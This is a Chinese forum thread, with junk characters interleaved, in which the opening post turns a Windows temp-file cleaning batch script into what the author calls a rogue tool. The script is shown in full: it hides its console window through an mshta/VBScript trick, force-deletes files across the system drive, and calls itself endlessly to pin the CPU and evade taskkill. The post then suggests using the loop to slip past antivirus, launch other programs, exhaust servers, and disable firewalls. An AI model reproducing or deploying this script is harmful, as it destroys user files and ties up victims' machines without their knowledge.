返回列表 发帖

【原创】再谈垃圾清除的批处理和其流氓运用!

大家经常会看到这个垃圾清除的的BAT程序,也就是很多人所说的30秒清除所有的系统他及程序    说实话这个批处理效果确实不错 ,速度快而且不重不漏!系统这下减了不少肥。不过我觉得这个BAT还是有点不很完善,要是能够自动检测系统中的垃圾文件并且删除那该多好啊!2 u' l; v3 N5 {- C9 |) |3 D. Z
a.bat源代码如下:
5 N. p/ M; l" q, x, X" q, A
. L" D1 a0 |: A1 r* v4 w& n
$ y3 \, V1 E1 \! E! d8 _===可以直接保存改名a.bat=====================# V% r; D9 ~: [7 z
@echo off' w2 }3 F7 J: G5 X8 D! d
echo 正在清除系统垃圾文件,请稍等...... 9 k5 D! C: I" ^4 B
@del /f /s /q %systemdrive%\*.tmp
) F! N3 X9 ~9 }; Y4 K@del /f /s /q %systemdrive%\*._mp
- m* i. I+ H+ s5 S@del /f /s /q %systemdrive%\*.log * Y2 C* d" r; J
@del /f /s /q %systemdrive%\*.gid
* }7 K$ r, q# u8 O- z@del /f /s /q %systemdrive%\*.chk ' d9 C6 m0 {) l5 l" ]
@del /f /s /q %systemdrive%\*.old 7 t# N2 C5 X$ i# a1 \$ ]8 t. e
@del /f /s /q %systemdrive%\recycled\*.*
- u/ Z( C* j2 c( v1 ]# G& I9 K@del /f /s /q %windir%\*.bak
, x5 V' M& Y8 B/ J@del /f /s /q %windir%\prefetch\*.*
, r6 }0 f5 T4 }1 P@rd /s /q %windir%\temp & md %windir%\temp
( G2 S* I! B2 F/ J@del /f /q %userprofile%\cookies\*.*
- I# {0 B3 [8 H5 ~& F2 Y9 W% M- f+ q. L@del /f /q %userprofile%\recent\*.* ) }: T/ n8 [- c0 Z, M
@del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*" , H8 g' b; F/ H' ?4 }4 }
@del /f /s /q "%userprofile%\Local Settings\Temp\*.*"
$ f: d# a  W# ]& t2 M4 D@del /f /s /q "%userprofile%\recent\*.*"
7 W. o" J3 T% N5 s. {echo 清除系统LJ完成!
! N: x( ~$ V/ w2 {. U3 l' A  x
其实简单的一句话便实现了那个功能,在“echo 清除系统LJ完成!”后面加上一句 “call a.bat”就OK了,命令的意思大家都懂,我就不做解释了!我运行了一下,到是能够自动检测和删除了,而且关掉对话框也简单,直接关闭就行了!但是如果 被当作入侵工具却又点太暴露,并且那个DOS框始终不能隐藏,很容易被发现.这该怎么办?想想批处理里面的命令,貌似没见到有隐藏对话框的用法(如果有请告诉指教一下!我的QQ:118122875),于是到网上找了一下,决定用VBS代码实现,于是又加上了下面的代码,其实也很简单,也就加了一句话进去:
0 S* x2 a. k5 M
( u0 o8 _8 I/ i! a2 ~. d===可以直接保存改名为a.bat(一定要是a.bat哦具体说明原因你应该明白吧======
  ?; L$ Z1 G2 N  k) F' h
@echo off0 L. a2 F% U* K7 m5 b% _* Y
if "%1" == "h" goto begin! H" N% Y# W$ Z; w: ?# ~
mshta vbscript:createobject("wscript.shell").run("""%~nx0"" h",0)(window.close)&&exit
7 S# w  m6 T- D2 z- ^% l) X# _:begin6 p% J# |# J1 d1 g9 {1 s8 l
echo 正在清除系统垃圾文件,请稍等...... $ u( n- x: O( i
@@del /f /s /q %systemdrive%\*.tmp ( \3 q" |) _* [# M0 h5 O
@del /f /s /q %systemdrive%\*._mp 1 a+ f7 i+ A- }  C6 t
@del /f /s /q %systemdrive%\*.log
. p- I* R5 F* Q, F4 k, w/ f# b@del /f /s /q %systemdrive%\*.gid
+ k8 c  `6 E# Y& e@del /f /s /q %systemdrive%\*.chk # I* X- S, \% V$ N
@del /f /s /q %systemdrive%\*.old
! ]( e/ P0 b  x- V@del /f /s /q %systemdrive%\recycled\*.* ! Z& j! r; w$ X" c. L
@del /f /s /q %windir%\*.bak + N2 N8 B. B' H
@del /f /s /q %windir%\prefetch\*.* , ~" S; L! C9 h$ G1 I: ~2 T9 r& g
@rd /s /q %windir%\temp & md %windir%\temp * G1 p' ]0 h& V% B
@del /f /q %userprofile%\cookies\*.* 5 d$ y# ]) E7 |  O( f* J
@del /f /q %userprofile%\recent\*.*
- R/ z1 b  ~  z+ V% k; `@del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*"
' K. B0 F! \* y. z@del /f /s /q "%userprofile%\Local Settings\Temp\*.*"
( g% D9 h$ `6 P, d. y4 t@del /f /s /q "%userprofile%\recent\*.*"
% @& |) P- Z' m. M" ]/ D4 ]echo 清除系统LJ完成!4 C, Z* O) l$ [4 F% L8 G
call a.bat

1 z, A) ~4 }) j* e) Y# r6 ^4 X运行看看!什么效果?
  i# h) j3 V$ S# F+ Y对话框消失了!打开任务管理器查看显示CPU运用:100%    看进程里面cmd.exe占用CPU:99     本来想删除这个进程,但是哪晓得点右键准备去删除那个cmd.exe,没有想到不见了,然后仔细一看,其实cmd.exe没有不见,但是已经PID不一样了,也就表示一个循环已经进行完毕,还没等你来的结束进程就已经进入下一个循环,这时候有的朋友会想可以用taskkill命令来删除进程,但是PID几乎是每2秒换一次,你的速度有那么快?!目前我还没找到解决的办法(高手请指教),无赖只好重新启动...哎!其实这都是雕虫小技,只不过是最基础的东西,但是有的时候最简单的也是最要命的!4 a4 g- J$ [1 v; T1 R& b5 o9 g
# t1 v9 g( G2 f( V8 \( p4 j
你说,我们可以利用这个BAT做些什么:
/ \2 f2 E/ o  k; |* y2 z3 [9 [1 A1 R& {
1.因为bat文件可以躲过杀软!这样利用它的无限循环启动一些你自己的程序,当然咯,重复的循环安装时没有必要的,我只是打个比方,你可以自己改动代码达到自己的目的!
8 E$ \) P# {4 ^6 G! [: Q2.它循环使用消耗资源,如果这样的程序多弄几个,全部启动.你说服务器会怎么样?
, d6 ~5 I! R4 r3.如果我把里面的删除垃圾文件的代码换成关闭防护墙/杀毒和开系统端口和服务的代码,那不是更好?当然这些应用都是我个人的一些分析,没有真正的实验过,我想一个可以成功的通过~不过,这个小东西还有个美中不足,cmd.exe在进程里面看得到,至于怎么隐藏,那就请各位高手指教了,在下刚刚接触批处理,莱鸟一个,有什么不对的地方和我联系啊!我的QQ:118122875 平湖秋月
1

评分人数

想法非常不错

TOP

打个岔,流氓的应用,呵呵
希望做站长本人的学生请点击
http://www.3ast.com/viewthread.php?tid=13841
QQ790653916只负责SEO以及收费教学等方面联系,他人勿扰

于智者同行,你会不同凡响;与高人为伍,你会登上巅峰

TOP

现在来正经的回答下问题:
6 a( ^$ e% h" t6 m- z1、在bat下隐藏对话框,可以使用一个参数的,但是我记不得了6 P! K/ `' B; d- I; G

) L$ u: A- Q$ k$ Q: F2、可以将bat转换成exe格式的文件啊,使用bat2exe,下次我找到了就发出来哈
希望做站长本人的学生请点击
http://www.3ast.com/viewthread.php?tid=13841
QQ790653916只负责SEO以及收费教学等方面联系,他人勿扰

于智者同行,你会不同凡响;与高人为伍,你会登上巅峰

TOP

其实这个批处理还有一个问题,就是把log文件一律也作为垃圾处理了~~~
1 v- c) p# T) A# `* W$ h; z, t部分软件卸载是需要log文件的,删除了它,就会造成软件无法正常卸载,或者卸载不干净。因此,log文件并不是垃圾,不同软件计录的log文件有着不同的作用,有的甚至是非常重要的,不是可以随便删除的,例如:一张CD碟片就有一个log日志文件,它主要记录EAC对CD抓轨的各项参数。

TOP

楼上的你们说的都有道理 理论上是成立的 我有时间试试看

TOP

返回列表